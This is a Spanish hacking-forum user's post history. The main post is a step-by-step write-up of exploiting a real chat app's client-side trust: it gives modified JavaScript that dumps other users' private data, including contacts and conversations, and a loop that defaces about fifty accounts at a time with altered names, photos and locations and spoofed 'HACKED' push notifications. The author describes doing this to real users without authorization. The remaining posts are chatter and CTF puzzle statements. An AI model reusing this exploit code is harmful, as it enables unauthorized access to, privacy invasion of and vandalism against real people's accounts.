Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - NERV0

#1


Papá Noel dejó su regalito en la página de tramites y servicios de San Juan:



Estaba buscando una multa para un pariente, se me dió por inspeccionar el código fuente, y me encuentro con esto:




Les dejo la URL acá abajo así no tienen que copiar de la imagen:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Me siento que estoy haciendo shitposting. Disculpen, pero no me pude contener... Si no me creen inspeccionen la página por ustedes mismos.

Saludos y que tengan unas hermosas fiestas.

#2
En el Coliseo de la antigua Roma se disfrutaba ver los mas sangrientos actos... Ahora en redes sociales y en red rooms. ¿Estaremos involucionando moral y socialmente?

Saludos, NERV0
#3
Ideas y Sugerencias / Re:Propuesta Podcast Underc0de
Octubre 04, 2018, 12:22:56 AM
Estaría excelente la idea... Pero si o si hay que implementar ciertos requisitos. Como por ejemplo:

1 - Micrófono de buena calidad (No hace falta gran cosa pero que la voz sea clara y sin tanto ruido de fondo o el famoso "Estás adentro de una turbina?").
2 - Voz clara! Es muy importante practicar eso para los podcasts.
3 - Buen manejo del lenguaje y lectura.
4 - Buena redacción (En caso de ser necesario recortar un post).
5 - Diversidad...

Yo no tengo drama en hacer un poco... Habría que elegir los días, temas y demás para ir organizando.

Saludos, NERV0
#4
Gracias Numeritos! Si, es re obvio... Pero si no doy el nombre, está todo bien ¿no? jajaja! Saludos y gracias por leer los posts!
#5
Porque solo con cambiar un par de cositas no es suficiente...



Si este es el primer post que lees de "No le des poder al cliente" te invito a ver la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!




Antes de empezar, quiero detallar unas cosas:

1 - ¿Porqué hice lo que hice?:

  • Desde que hice la parte 2, dejé de hablar con el administrador porque según el "iba a hacer mejoras de seguridad en este corto plazo"... Al final, después de muchas actualizaciones y mejoras en el sistema de anuncios, micro transacciones y cosméticos (Si, estuvo aproximadamente 5 - 6 meses mejorando para tener mas ingreso de dinero) me di cuenta que no le interesaba la seguridad. Incluso cambió los términos y condiciones de la misma para lavarse las manos en caso de que pase algo. Así que me puse a consultar con la almohada que es lo que iba a hacer... ¿Seguir con los posts o directamente cortar en la parte anterior todo?...
    Al final me decidí por terminar lo que fuí a hacer, y que esta persona se haga cargo, porque lo único que no podés extraer de los usuarios es la clave, lo demás es todo editable desde el cliente.


2 - ¿Porqué no muestro nada que pueda llevar a que descubran el nombre de la aplicación?:

  • Primero que a pesar de que su aplicación sea un desastre, no puedo dejar que reine la anarquía. Parece ser que soy el único que descubrió todo esto y quiero ser el último, porque en el tiempo que estuve practicando y testeando, encontré desde números de celular, conversaciones de todo tipo, historias, amistades y hasta problemas.

  • LA PRIVACIDAD ES LA PRIVACIDAD, SEÑORAS Y SEÑORES.

  • Segundo, soy usuario de la aplicación y lo que menos quiero es que me encuentren ustedes. (Hasta la fecha, porque cuando publique este post con todo lo que van a ver acá, menos me van a encontrar).

3 - Si lo que voy a hacer ahora es ilegal, ¿No debería no hacerlo?:

  • El administrador deja pasar la pornografía de todo tipo, conversaciones en donde se establecen acciones ilegales en el mundo físico y demás cosas que O CASUALIDAD, no cumplen con las normas que el mismo escribió. Pero tampoco hace su trabajo para borrar esta gente. Así que, ¿quien rompe la ley?.

4 - ¿Y si te descubren?:

  • Cuando las mujeres y hombres de la aplicación dejen de recibir fotos de miembros viriles en sus bandejas de entrada, dejen de pasar pornografía, y no haya mas conversaciones para acordar actividades ilegales, ahí veremos que pasa.

5 - ¿Los diagramas no están utilizados correctamente?:

  • Con gusto desearía que me enseñen a hacer diagramas!




Ya aclarados ciertos tópicos, podemos seguir... En los posts anteriores, nos abusamos del código para obtener desde puntos, superar los baneos e incluso ver los mensajes de los otros usuarios. En este, vamos a divertirnos, que para eso estamos! Pongansé comodos, y espero que disfruten. Les dejo un tema para ambientar:






I - ¿Hasta donde nos da la imaginación?:



Si pudimos ver los mensajes de otros usuarios y escribir por ellos, ¿porqué no dejamos volar la imaginación?:


  • ¿Modificar datos de otras cuentas?
  • ¿Enviar notificaciones personalizadas?
  • ¿Spam?
  • ¿Borrar de la faz de la tierra a usuarios?
  • ¿Robarnos toda la base de datos? (¿Porqué no?)
  • ¿Comprar objetos para otros usuarios?

Si pensamos bien, lo mas probable es que podamos todo o casi todo lo mencionado previamente, ya que casi todo el trabajo que debe hacer el servidor, corre en el cliente. Por ejemplo, esto es lo que pasa con las monedas:



Y esto es lo que pasa cuando uso un item que no necesita hacerle pedidos al servidor (En casi todos los casos):




Si, así de tonto... Este es un ejemplo de código en donde si necesitamos pedirle algo:

Código: javascript

e.prototype.searchUser = function() {
var e = this;
[...]('Please enter a username', "whiteError", 2e3) : (this.countryIso = this.countryProvider.getIsoFromCountry(this.pickedCountry), this.loader.show(""), this.mongoService.searchUserParrot(this.userinfo.myInfo.uid, this.countryIso, this.username).then(function(t) { //Ejecuto this.mongoService.searchUserParrot y después
     if (e.loader.hide(), void 0 != t.error){
          [...]
          e.foundParrotUser = t
          e.removeParrot(), e.displayToast([...]) //Remuevo el item del inventario
          [...]
     }

(Aclaro que el [...] es un fragmento faltante de la función, que para hacer entendible la explicación, lo eliminé)


Como pueden ver, ejecuta directamente la función "searchUserParrot()", que dice:
Código: javascript

a.prototype.searchUserParrot = function(a, e, n) {
     var o = this;
     return new Promise(function(t, i) {
          o.http.get(o.apiUrl + "users/findParrotByName/" + a + "/" + e + "/" + n).subscribe(function(a) { //Hago un pedido al server con mis requisitos
               t(a)
          }, function(a) {
               i(a)
          })
     })
}

Esta función lo que hace, es hacer un pedido al server y preguntarle si existe un usuario con los requisitos que nosotros llenamos... Si existe, nos retorna los datos del mísmo. Y sinó, bueno, nos dice que no.

Dato curioso: Las funciones que voy a utilizar en este post, funcionan al revés del diagrama! En este caso buscamos un usuario... ¿Y si no lo encontramos? ¿Que pasa con nuestro item? Nos lo devuelve si hay un error. Sinó, nos lo quita. Que generoso!


Entonces, vistos estos ejemplos, volvemos a nuestras preguntas.




II - ¿Será posible cumplir todo eso que nos planteamos?:
Primero lo primero, hay que analizar lo que nos falta:





Los Uid:


¿De donde salen y como funcionan?:

1 - Sabemos que los Uid son los identificadores de usuario. Y que en la aplicación se usan como firma para no confundir entre varios usuarios con el mismo nombre. Por ejemplo:
Alan de Argentina y Alan de Estados Unidos. Tienen el mísmo nombre de usuario, pero sus Uid son diferentes, por lo cual, no va a haber colisión de datos y pueden existir sin ningún problema.

2 - Los Uid siempre aparecen en el código como this.userinfo.myinfo.uid, this.userinfo.myUid o this.myUid.

3 - Cada vez que necesito hacer una transacción entre el servidor y el cliente, tengo que usar mi Uid para demostrar que "soy yo" y los cambios se apliquen en mi usuario.





Los userinfo y los userinfo.myinfo:

¿Que son?:
Facil y sencillo, que nos lo diga la consola:
Código: javascript
console.log("this.userinfo");






Es un arreglo con todos los datos de mi usuario... Nice!


¿A ver que contiene?:

1 - adsInfo: Booleanos que contienen información sobre si vimos los anuncios de la aplicación y demás relativos al tema.


2 - deviceInfo: Información sobre el dispositivo que está corriendo la app. En mi caso no hay información porque lo corro desde el navegador.


3 - infoNode: Estadísticas de mi perfil y anuncios. Junto con por alguna razón si mi camara está prendida o no.


4 - myInfo: Toda la información de mi cuenta y configuración, desde mi IP, ubicación y hasta el correo con el que me registré. (Pero no figura la clave, un punto para el admin que por lo menos no las muestra). También vuelve a tomar la información del último dispositivo que use (En mi caso un emulador). También figura por ahí abajo nuestro Uid.


5 - myWatchers: Estados de conexión y ultima vez.


6 - productInApp: Productos que "compré" en la aplicación. En este caso, como no compré ninguno, figuran los precios.


7 - Otros: Si la aplicación tiene algún error, está ¿crackeada? (No entiendo a que se refiere), si es de noche y si estoy en linea (Otra vez).






Las notificaciones:

¿Como funcionan?

Utilizando nuestras amadas "herramientas para desarrolladores", nos vamos hacia la sección de network y nos enviamos una notificación desde otra cuenta. Esto fué lo que pasó:



Nada... Así que va a haber que recurrir al plan B. Buscar en el inmenso código la sección de notificaciones. Y después de unas horas, encontré la función:

Código: javascript

n.prototype.notifReceiver = function(n) {
     n.isPush && void 0 != n.onesignalId && this.onesignalprovider.sendNotif(n.onesignalId, "Has recibido una solicitud de amistad", "Has recibido una solicitud de amistad")
}


En donde utiliza la función "sendNotif()", que es:

Código: javascript

a.prototype.sendNotif = function(a, e, n) {
     this.http.post("https://onesignal.com/api/v1/notifications", {
          app_id: "XXXXXXX-XXXX-XXXX-XXXX-XXXXXXX",
          include_player_ids: [a],
          contents: {
               en: e,
               fr: n
          },
          ios_badgeType: "Increase",
          ios_badgeCount: 1
     }).subscribe(function(a) {}, function(a) {})
}


Y que usa onesignal. Genial! Como ven en una parte dice "include_player_ids: [a]", lo que vendría a ser el ID de onesignal que nos habla previamente como "n.onesignalId".
Perfecto, osea que, cuando es necesario advertirle algo al cliente, mediante onesignal se nos pushea el evento. Y, si miramos con atención el código, podemos cambiar intencionalmente nuestro onesignalId para pushearle la notificación a otro usuario con un mensaje customizado!


Dato curioso: En todas las aplicaciones que se use onesignal y se pueda acceder a los id de otros usuarios, puede pasar lo que va a pasar en este post.

El problema que viene ahora es... ¿Como consigo el "onesignalId"?

En este caso no llegué por código, llegué por deducción. Si volvemos al "userinfo.myInfo" vamos a encontrar el id. A lo que me dije... Si obtengo la información de otros usuarios viendo sus perfiles, es probable que también esté su onesignalId ahí! ¿Por que? Porque si el cliente maneja todos los eventos practicamente, y el servidor sirve unicamente para guardar un par de datos nuestros, seeeeeeeguro que cuando mandemos el mensaje, nuestro cliente va a pushearlo! Así que manos a la obra...

Lo primero que me vino a la mente, fue lo que hicimos en el post anterior para obtener el Uid de mis cuentas de testeo... Pero el metodo no era tan preciso, así que se me vino una idea a la cabeza. ¿Y si modificamos la función que cuando abrimos el perfil del otro usuario, y llama al server para mostrarnos toda la información?. Dicho y hecho, utilizando la herramienta "Performance" sacamos un snapshot durante la llamada de la función, y tarán!



Ahí estaba... Y su código es:

Código: javascript

e.prototype.getProfileUser = function(e) {
     var n = this;
     J.database().ref("users/" + e + "/info").once("value", function(e) { //Pregunta en la base de datos la información del usuario
          var t = e.val(); //Guarda la información en la variable t
          null == t ? n.profileUser = {} : (t.countryIso = t.countryIso.toUpperCase(), n.profileUser = t, n.profileUser.isPrivate && (n.isPrivate = !0), n.hasTelescope(),
          n.getGifts(), n.getUserImg(), n.getLocalTime(), void 0 != n.chatInfo && n.checkFriendInfo(), n.getLanguagesFlag(), n.isLoadedProfile = !0) //Junta los datos necesarios y muestra
     })
}


Entonces... Termina siendo como lo pensamos, nos manda todos sus datos. ¿Y si lo editamos un poquito?

Código: javascript

e.prototype.getProfileUser = function(e) {
     var n = this;
     J.database().ref("users/" + e + "/info").once("value", function(e) { //Pregunta en la base de datos la información del usuario
          var t = e.val(); //Guarda la información en la variable t
          console.log(t); //Mostramos a t en la consola...
          null == t ? n.profileUser = {} : (t.countryIso = t.countryIso.toUpperCase(), n.profileUser = t, n.profileUser.isPrivate && (n.isPrivate = !0), n.hasTelescope(),
          n.getGifts(), n.getUserImg(), n.getLocalTime(), void 0 != n.chatInfo && n.checkFriendInfo(), n.getLanguagesFlag(), n.isLoadedProfile = !0) //Junta los datos necesarios y muestra
     })
}


Boom, tenemos lo que buscabamos... Y mucho mas:



Tenemos todo el "myinfo" a nuestra disposición, y encima el onesignalId. Hermoso, maravilloso... Es el paraíso! Pero, ¿y si vamos mas allá?:

Código: javascript

e.prototype.getProfileUser = function(e) {
     var n = this;
     J.database().ref("users/" + e + "/info").once("value", function(e) { //Pregunta en la base de datos la información del usuario
          var t = e.val(); //Guarda la información en la variable t
          console.log(t); //Mostramos a t en la consola...
          null == t ? n.profileUser = {} : (t.countryIso = t.countryIso.toUpperCase(), n.profileUser = t, n.profileUser.isPrivate && (n.isPrivate = !0), n.hasTelescope(),
          n.getGifts(), n.getUserImg(), n.getLocalTime(), void 0 != n.chatInfo && n.checkFriendInfo(), n.getLanguagesFlag(), n.isLoadedProfile = !0) //Junta los datos necesarios y muestra
     })
     J.database().ref("users/" + e + "/").once("value", function(j) { //Accedemos a la informacion raiz del usuario
          var q = j.val();
          console.log(q); // Y la mostramos en consola...
     })
}




Tenemos toda la información que el server nos deja ver... Contactos, conversaciones, la información y los estados de conexión. ¿Que mas se puede pedir?




Editores de información:

En el código de uno de los tantos .js que hay, encontré estas lineas:

Código: javascript

e.prototype.checkTimezoneOffset = function() {
     var e = 60 * (new Date).getTimezoneOffset();
     if (e != this.userinfo.myInfo.timezone_offset) {
          Ae.database().ref("/users/" + this.myUid + "/info").update({
               timezone_offset: e
          })
}


Esto significa que actualiza directamente sobre la base de datos... Nice! Ahora, si volvemos a "this.userinfo.myinfo" van a poder ver que en una parte dice "name". Y que si buscan mas abajo también dice "timezone_offset". Esto significa que si modificamos esa función, podemos hacer que modifique todos los datos de nuestro usuario directamente sin usar códigos intermediarios... ¿Hermoso no?

Código: javascript

Ae.database().ref("/users/" + this.myUid + "/info").update({
     name: "(っ◔◡◔)っ ♥ HACKED ♥", //Y obviamente, un poco burlón el nombre... Nada de XXXhackedXXX, con corazoncitos duele mas.
     bio: "I have been hacked :)", //Siempre en inglés... No todos hablan español
     isPush: true, //Para que le llegue la notificación nuestra (Por si las tiene desactivada)
     isVibration: true //¿Porque no? jaja
})


Ahora si... Quedó perfecto.

También forma parte de estos datos, la foto de perfil... Pero esta vez tuvimos que si o si recurrir a las herramientas para desarrolladores, y buscar que js y función se encuentra involucrada. Pero no tuve exito, porque como corro desde el navegador, obviamente no abre la cámara, por eeeeeende, uno de los scripts me detiene ahí. No queda otra que buscar archivo por archivo...

Por suerte, encontré la función en uno de los primeros... Y esto decía:


Código: javascript


e.prototype.addPhotoToProfile = function(e) {
     this.db.database().ref("/users/" + this.userinfo.myInfo.uid + "/info").update({
          photo: e
     })
     this.myRef.update({
          photo: e
     });
     this.db.object("photo/users/" + this.userinfo.myInfo.uid).update({
          profile: e
     });
     this.db.object("users/" + this.userinfo.myInfo.uid + "/photo").update({
          small: e
     }), this.mongoService.updatePhoto(this.userinfo.myInfo.uid, e).then(function(e) {})
}


Va como piña! Podemos poner la foto que queremos en una variable... Osea que si editamos el código, quedaría algo como:



Código: javascript

     var j = "https://media.giphy.com/media/o0vwzuFwCGAFO/giphy-downsized.gif";
     this.db.database().ref("/users/" + this.userinfo.myInfo.uid + "/info").update({
          photo: j
     })
     this.myRef.update({
          photo: j
     });
     this.db.object("photo/users/" + this.userinfo.myInfo.uid).update({
          profile: j
     });
     this.db.object("users/" + this.userinfo.myInfo.uid + "/photo").update({
          small: j
     }), this.mongoService.updatePhoto(this.userinfo.myInfo.uid, e).then(function(e) {})





¿Como podemos encontrar múltiples objetivos para nuestra "magia"?

Uno de los items de la aplicación te permite mandar 50 veces un mismo mensaje para múltiples usuarios. Pero para poder mandar este mensaje, primero tiene que pedir los uid de esos 50. Así que, investigando un poco, encontré que al usar ese item, llamamos a la siguiente función:

Código: javascript

n.prototype.sendMultiple = function() {
[...]
this.mongoService.searchForKrakenNew({
     myUid: this.userinfo.myInfo.uid,
     target: this.userinfo.myInfo.target,
     myGender: this.userinfo.myInfo.gender,
     minAge: this.userinfo.myInfo.range_min,
     maxAge: this.userinfo.myInfo.range_max,
     myAge: this.userinfo.myInfo.age,
     myCountryIso: this.userinfo.myInfo.countryIso,
     myCountry: this.userinfo.myInfo.country,
     reputation: this.userinfo.myInfo.reputation,
     category: this.userinfo.myInfo.category,
     excludeCountry: this.userinfo.myInfo.excludeCountry,
     friendsList: this.friendsList
     }).then(function(e) {
          n.octopusResult = e, n.events.publish("userFound", !0);
          for (var l = 0; l < e.length; l++) void 0 != e[l].uid && n.sendToUser(e[l]);
     });
[...]
}


Como pueden ver, en el final nos dice "e[l].uid", pero nosotros queremos el onesingalId ! ¿Que hago?... Esto es el interior de uno de los e[l] que nos trae la función:



Así que, si no estamos equivocados, deberíamos poder usar "e[l].onesignalId" y listo! ¿Probamos?



Así que la idea es que cubra todas las edades, todos los generos, y todas las reputaciones... Nos ponemos manos a la obra y que san Math.round() y Math.random() nos ayuden con nuestra locura:

Código: javascript


function aleatorio() {
     return Math.round(Math.random()*(90-18)+parseInt(18));
}

function Reputacion() {
     return Math.round(Math.random()*(9000-20)+parseInt(20));
}

function Edad(){
     return Math.round(Math.random()*(60-18)+parseInt(18));
}


function Obtener_Genero_Target_Tambien_Mi_Genero(){
     if (aleatorio() > 45){
          //Si es mayor a 45, el genero va a ser masculino
          return "male";
     } else if(aleatorio() == 45) {
          //Si el genero es 45, es para ambos sexos
          return "both";
     } else {
          //Si es menor a 45, el genero va a ser femenino
          return "female";
     }
}

function Categoria(){
     if (aleatorio() > 45){
          //Si es mayor a 45, el genero va a ser XXXXX-1
          return "XXXXX-1";
     } else if(aleatorio() == 45) {
          //Si es 45 XXXXX-2
          return "XXXXX-2";
     } else {
          //Y si es menor a 45, XXXXX-3
          return "XXXXX-3";
     }
}

var n = this;

this.mongoService.searchForKrakenNew({
     myUid: "this.is.a.fake.uid",
     target: Obtener_Genero_Target_Tambien_Mi_Genero(),
     myGender: Obtener_Genero_Target_Tambien_Mi_Genero(),
     minAge: Edad(),
     maxAge: Edad(),
     myAge: Edad(),
     myCountryIso: "KL",
     myCountry: "Kawaii Land", // ¿Quien puede sospechar de un otaku?
     reputation: Reputacion(),
     category: Categoria(),
     excludeCountry: this.userinfo.myInfo.excludeCountry,
     friendsList: this.friendsList //Lo dejo en blanco porque obviamente, no tengo amigos
     }).then(function(e) {
          console.log(e);
          for (var l = 0; l < e.length; l++) void 0 != e[l].onesignalId
});



Y lo que nos mostraría en pantalla, sería esto:



Ahora mi duda es: ¿Puedo pedir mas usuarios que solo 50? Reastreando a la función "searchForKrakenNew()" nos encontramos que nos dice:

Código: javascript


a.prototype.searchForKrakenNew = function(a) {
     var e = this,
     n = new o.g;
     return n.append("Content-Type", "application/json"), new Promise(function(o) {
          e.http.post(e.apiUrl + "users/searchKrakenNew/", a, {
               headers: n
          }).toPromise().then(function(a) {
               o(a)
          }).catch(function(a) {})
     })
}



Y no... No nos podemos pasar... Directamente le hace pedido a una URL con nuestros datos y nos devuelve 50... Es bastante igual!




III - Vamos a aplicar todo lo aprendido:
Este es el momento de la verdad... Ahora, hay que unir todo lo que vimos, y hacer lo que estábamos buscando hace bastante tiempo.

Ahora, antes de seguir, quiero comentar mi problema:
Como la app está hecha con Ionic, es un desastre poder hacer loops o ejecutar los códigos con tocar un botón. (No, no es que sea totalmente vago, es que intenté y no pude, es una maraña de funciones y no, no tengo tiempo para ponerme a buscar una solución difícil para algo simple). Así que se me ocurrió buscar una función que se ejecute clickeando algún componente, y pongo un autoclicker a correr...

Buscando la función dentro de los primeros archivos .js, encontré una que se llama "CreateMsg()", y que cada vez que tocamos el botón de crear mensaje, va ahora a ejecutar nuestro código en su lugar... Así que esto sería como queda todo armado:

Código: javascript

e.prototype.CreateMsg = function(e, n) {
function aleatorio() {
     return Math.round(Math.random()*(90-18)+parseInt(18));
}

function Reputacion() {
     return Math.round(Math.random()*(9000-20)+parseInt(20));
}

function Edad(){
     return Math.round(Math.random()*(60-18)+parseInt(18));
}


function Obtener_Genero_Target_Tambien_Mi_Genero(){
     if (aleatorio() > 45){
          return "male";
     } else if(aleatorio() == 45) {
          return "both";
     } else {
          return "female";
     }
}

function Categoria(){
     if (aleatorio() > 45){
          return "XXXXX-1";
     } else if(aleatorio() == 45) {
          return "XXXXX-2";
     } else {
          return "XXXXX-3";
     }
}

var n = this;

this.mongoService.searchForKrakenNew({
     myUid: "this.is.a.fake.uid",
     target: Obtener_Genero_Target_Tambien_Mi_Genero(),
     myGender: Obtener_Genero_Target_Tambien_Mi_Genero(),
     minAge: Edad(),
     maxAge: Edad(),
     myAge: Edad(),
     myCountryIso: "KL",
     myCountry: "Kawaii Land",
     reputation: Reputacion(),
     category: Categoria(),
     excludeCountry: this.userinfo.myInfo.excludeCountry,
     friendsList: this.friendsList
     
}).then(function(e) {
     console.log(e);
     for (var l = 0; l < e.length; l++){
          Ae.database().ref("/users/" + e[l].uid + "/info").update({
               name: "(っ◔◡◔)っ ♥ HACKED ♥",
               bio: "I have been hacked :)",
               reputation: 666,
               pos_lat: "Fuck",
               pos_lng: "you",
               isPush: true,
               isVibration: true
          })

          var j = "https://media.giphy.com/media/o0vwzuFwCGAFO/giphy-downsized.gif";
          Ae.database().ref("/users/" + e[l].uid + "/info").update({
               photo: j
          })
          this.db.object("photo/users/" + e[l].uid).update({
               profile: j
          });
          this.db.object("users/" + e[l].uid + "/photo").update({
               small: j
          }), this.mongoService.updatePhoto(e[l].uid, j).then(function(e) {})

          this.onesignalprovider.sendNotif(e[l].onesignalId, "YOU HAVE BEEN HACKED, have a nice day 🔥", "YOU HAVE BEEN HACKED, have a nice day 🔥");
}               
});
}


Y... Nos bajamos un autoclicker: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (El mejor de todos)
También nos enmascaramos con un VPN: (No pienso decir cual)




IV - Resultados:











La idea no era dañar a nadie... Simplemente divertirnos un ratito jugandolé una broma pesada al admin y a los usuarios. Pero si hubieramos querido, o si hubiera sido otra persona la que estaría en mi lugar, tranquilamente le podría haber hecho desaparecer la base de datos hace rato...


Espero que se hayan arrancado los pelos viendo esto! Saludos,NERV0


#6
Wargames y retos / IT Challange - Facebook CTF (Wave 1)
Septiembre 17, 2018, 01:20:50 AM
Gente, para los que no sabían, Facebook junto con Mercadolibre, están haciendo un IT Challange. Y como me gusta guardarme todo lo que encuentro, hoy les traigo la primer parte del evento. Les dejo todos los retos para que se entretengan!




WAVE 1:





capture_Canada - Imágen Indescifrable

El 29 de Agosto encontramos una imagen muy extraña y sospechamos que es algún tipo de código que todavía no pudimos romper.  Te crees capaz de enfrentarlo?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




capture_United States - Username Disparity

Dados dos nombres de usuario, el grado de similitud se define como la longitud del prefijo más largo común a ambas cadenas. En este desafío, recibirás una cadena. Debes quebrar la cadena para crear sufijos cada vez más cortos y luego determinar la similitud del sufijo con la cadena original. Haz esto para cada longitud de sufijo desde la longitud de la cadena hasta 0 y acumula los resultados. Por ejemplo, considera la cadena 'ababa'.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




capture_Guyana - Ximena, Oscar y Raúl

Ximena, Oscar y Raúl son tres amigos a los que les gusta la criptografía.
Recientemente aprendieron un sencillo método de cifrado y decidieron utilizarlo para compartir archivos de manera segura. Desafortunadamente olvidaron la clave de encriptación que usaron: sólo recuerdan que era un número entero entre 0 y 255.
Podés ayudarlos a recuperar el mensaje original?


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




capture_Brazil - DECORANDO

Mercado Libre se está expandiendo, por ello estamos construyendo una nueva oficina. La misma está en proceso de construcción. Sin embargo el equipo encargado de la decoración está en un dilema y solicitó ayuda a IT.

Tienen que decorar el muro principal de la oficina para que sea el punto focal de la oficina. El muro tiene 32 x 3 metros (ancho x alto, sin ninguna aberturas) y se quiere utilizar planchas de vinilo de 1 metro por 3 metros (ancho x alto, pueden ser dispuesta tanto horizontalmente como verticalmente) de distintos colores y patrones de diseño pero no están muy seguros de cómo disponerlos para que quede lindo. Por ello pidieron al equipo de IT si les podían calcular todas las posibles disposiciones (sin superponer planchas) para poder tomar una decisión sin dejar ninguna opción sin evaluar.

Has sido asignado la resolución de esta incógnita: ¿qué cantidad de formas distintas de disponer las planchas van a tener que evaluar para tomar una decisión?





capture_Argentina - ALPACA

¡Científicos del centro para el Tratamiento y Control de la Población, hicieron un impresionante descubrimiento! Las alpacas, en lugar de portar un código genético compuesto de bases adenina (A), citosina (C), guanina (G) y timina (T), poseen bases completamente distintas: su ADN está compuesto de bases (A),(C),(L) y (P) donde (L) es lanina y (P) es preciosina. Más aún, los investigadores descubrieron que el código genético de las alpacas es extremadamente estructurado. Este se puede codificar como una secuencia sobre el alfabeto {A,C,L,P} aplicando algunas reglas.

Partiendo con la letra A la secuencia que describe el ADN puede generarse aplicando N veces el siguiente conjunto de reglas de forma simultánea:

Reemplazar cada ocurrencia de (A) por (AL)
Reemplazar cada ocurrencia de (L) por (PACA)
Reemplazar cada ocurrencia de (P) por (CP)
Reemplazar cada ocurrencia de (C) por (PC)
Por ejemplo, si N = 3 la secuencia obtenida será ALPACACPALPCAL:

A −→ AL −→ ALPACA −→ ALPACACPALPCAL
Los científicos están estudiando la hermosura de las alpacas. Hasta el momento han descubierto que existen M tipos de hermosura distintas. Y más aún, también han logrado relacionar el tipo de hermosura de una alpaca con la cantidad de veces que la subcadena (ALPACA) aparece en su secuencia de ADN. En particular, si (ALPACA) aparece D veces en la secuencia de ADN de una alpaca, entonces su tipo de hermosura está dado por el resto de la división de D por M. ¿Podrías ayudar a nuestros científicos a determinar qué tan bella es una alpaca en particular?
La entrada consiste en una única línea que contiene dos números N y M separados por un espacio, donde N indica el número de iteraciones que describen el ADN de la alpaca (1 ≤ N ≤ 10^15), y M es la cantidad de tipos de hermosura (2 ≤ M ≤ 10^9).

Entrada:
234612846789231 123456789


La respuesta es un único entero conteniendo el tipo de hermosura de la alpaca (D mod M).





capture_Spain - PAGES

Arturo es un escritor aficionado de novelas de misterios. Hace pocos días ha terminado su último libro y, hasta ahora, su mejor obra, titulada "El Misterio de la Mano". No solo eso, Arturo acaba de firmar un contrato con una editorial para que lo ayude a comercializar su libro y lograr que el mundo conozca su trabajo.
Una de las decisiones más importantes que Arturo debe tomar es el tamaño en el que su libro será impreso. Para ello, le ayudaría mucho saber la cantidad de páginas que su libro tendría en cada formato.
Dependiendo del formato del libro, cada página puede contener hasta Z caracteres. Sin embargo, la editorial exige que cada página incluya el título del libro de largo Y , además del número de página actual y la cantidad de páginas del libro separados por el carácter '/'. Para escribir el número de página actual se usa la misma cantidad de espacios que el número de paginas, anteponiendo los '0' que sean necesarios. Por ejemplo, la página "uno de diez" se escribe 01/10, ocupando cinco caracteres.
Arturo sabe que su libro tiene X caracteres. Ayuda a Arturo a determinar la mínima cantidad de páginas que tendría su libro, dependiendo del formato que escoja.
La primera línea de la entrada contiene tres enteros X, Y y Z, donde X (1 ≤ X ≤ 10^5) es el número de caracteres en el libro, Y (0 ≤ Y ≤ 10^2) es el largo del título, y Z (0 ≤ Z ≤ 10^5) es el número de caracteres que se puede escribir en una página. La entrada está construida de manera que siempre es posible generar un libro.
Como salida se espera un valor entero que representa el mínimo número de páginas que puede tener el libro.
Entrada de Ejemplo: 456 639 718
Salida de ejemplo: 6
Entrada
171024 12825 14359





capture_France - Balanced Strings

Julia tiene cadena de caracteres, s, compuesta por las letras a, b, c y d. Se dice que la cadena de caracteres está equilibrada si se cumplen las dos condiciones siguientes:

El número sumado de a's y c's es par.
El número sumado de b's y d's es par.

Por ejemplo, las cadenas de caracteres 'abcd' y 'aacc' están equilibradas, pero 'abc' y 'bcd' no lo están.

Tu tarea consiste en ayudar a Julia a determinar si dos cadenas de caracteres están equilibradas o no.

Formato de entrada

La entrada consiste en una sola línea con la cadena de caracteres a analizar.

Restricciones
Cada carácter s ∈ {abcd}.

Se le proporciona un archivo con la entrada No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Sample Case 0
Sample Input 0
acdbddbbbbaaac

Sample Output 0
true





capture_Germany - Cuadrado no tan mágico

Llamamos cuadrado "no tan mágico" a una grilla de 5x5 en la que en cada casillero hay un dígito entre 0 y 3, y tal que la suma de cada una de sus filas, cada una de sus columnas y cada una de sus diagonales sea la misma.

Por ejemplo, el siguiente cuadrado es "no tan mágico", pues cada una de sus filas, columnas y diagonales suma 3:

0 0 0 0 3
1 2 0 0 0
0 1 0 2 0
2 0 0 1 0
0 0 3 0 0

¿Cuántos cuadrados "no tan mágicos" existen?





capture_Italy - The Perfect Team

La Escuela de Idiomas y Ciencias enseña cinco materias: Física, Química, Matemáticas, Botánica y Zoología. Cada estudiante es experto en una materia. Las habilidades de los alumnos se describen mediante una string de las habilidades citadas que consta de las letras p, c, m, b y z solamente. Cada carácter describe la habilidad de un estudiante de la siguiente manera:
p → Física.
c →  Química.
m → Matemáticas.
b → Botánica.
z  → Zoología.

Tu tarea es determinar el número total de diferentes equipos que satisfacen las siguientes restricciones:

Un equipo consiste en un grupo de exactamente cinco estudiantes.
Cada estudiante es experto en una materia diferente.
Un estudiante puede estar solo en un equipo.

Por ejemplo, si la cadena de habilidades es pcmbzpcmbz, entonces hay dos equipos posibles que se pueden formar a la vez: habilidades [0-4] y habilidades [5-9]. No es importante determinar las permutaciones, ya que siempre estaremos limitados a dos equipos con 10 estudiantes.

Se le proporciona un archivo con la entrada No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Restricciones
5 ≤ n ≤ 5 × 105
skills ∈ {p,c,m,b,z}

Sample Input 0 pcmbz
Sample Output 0 1





capture_Romania - BROKEN RSA

El sistema de encriptación RSA, como parte de la fase de generación de claves públicas y privadas, debe generar dos números primos grandes p y q y un número n = p*q que se usará luego para encriptar y desencriptar mensajes (ver No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Una reconocida empresa de Palermagro decidió realizar su propia implementación de este sistema. Decidieron generar los primos p y q con dos algoritmos diferentes pensando que así obtendrían mayor seguridad.

La ingeniera Melanie S. implementó la siguiente función:

def generate_p():
    '''
    algoritmo eficiente, seguro y testeado para generar primos grandes
    '''
    ...
    ...
    return p


El ingeniero N. Álvarez, sin muchas ganas de programar, decidió tomar un atajo y programar lo siguiente:

def generate_q():
    '''
    genera un primo
    '''
    return 1094782941871623486260250734009229761

Has tenido acceso a uno de los mensajes encriptados así como también a un PEM que contiene la clave pública de encriptación. ¿Sos capaz de descubrir el contenido del mensaje original?


